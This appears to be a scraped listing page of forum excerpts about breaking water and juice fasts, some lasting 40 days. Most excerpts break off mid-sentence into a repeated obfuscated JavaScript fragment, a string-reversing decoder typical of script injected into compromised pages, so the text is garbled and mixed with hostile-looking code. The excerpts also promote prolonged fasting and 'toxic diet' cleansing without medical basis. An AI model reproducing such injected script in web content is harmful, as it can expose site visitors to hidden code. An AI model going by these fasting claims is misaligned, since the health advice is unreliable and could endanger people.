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Breaking A Fast

How To Break A Fast

I just ended a five day water fast. 5:30pm - Went to the whole foods store $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");re

Breaking the Fast for an Athlete

I was fasting for therapeutic issues for 8 days juice fast + 1 day (today) water fasting. Tomorrow I will break the fast. Right now I look very skinny $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n

How soon can I fast again?

Keith or Tom - I spent a week winding down my eating with only raw food $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");r

Breaking a Fast Badly

Hi Tom. I just finished a 40 day fast, (just water), when I came off I had potato soup, home made wheat flat bread drenched in honey. Don't forget the soy milk!. In the morning I had some oatmeal, $soq0ujYKWbanWY6nnjX=functio

Breaking an Extended Fast

My husband is just finishing a 40 day fast today. Througout the 40 days he did 10 days of juice fasting, some water fasting, and finished it off with doing 10 days of the "master cleanse". I've been trying to find informat

Overeating After Fasting

Overeating after fasting is a common problem. Here are some ideas to deal with overeating after fasting from a person having problems with overeating after fasting. I would like to do a water fast for healing $soq0ujYKWba

Toxic Diet Jokes

For those who insist on returning to their old toxic diet undoing the revitalizing of fasting, here are some tongue-in-cheek suggestions. Toxic Diet Tip 1 Slowly begin to reintroduce harmful foods. Suggestions are potato

Maintaining Healthy Diet After .:.

If you want to suffer pain after a 5 day water fast, eat a big greasy hamburger. It will l$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").re

Guidelines For Breaking A Fast

For six days, gradually increase the amount of raw fruits $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKW

Breaking An Extended Fast

Breaking an extended fast can be difficult. You will quickly discover that breaking the fast is harder than fasting. A slumbering digestive system is sensitive, $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX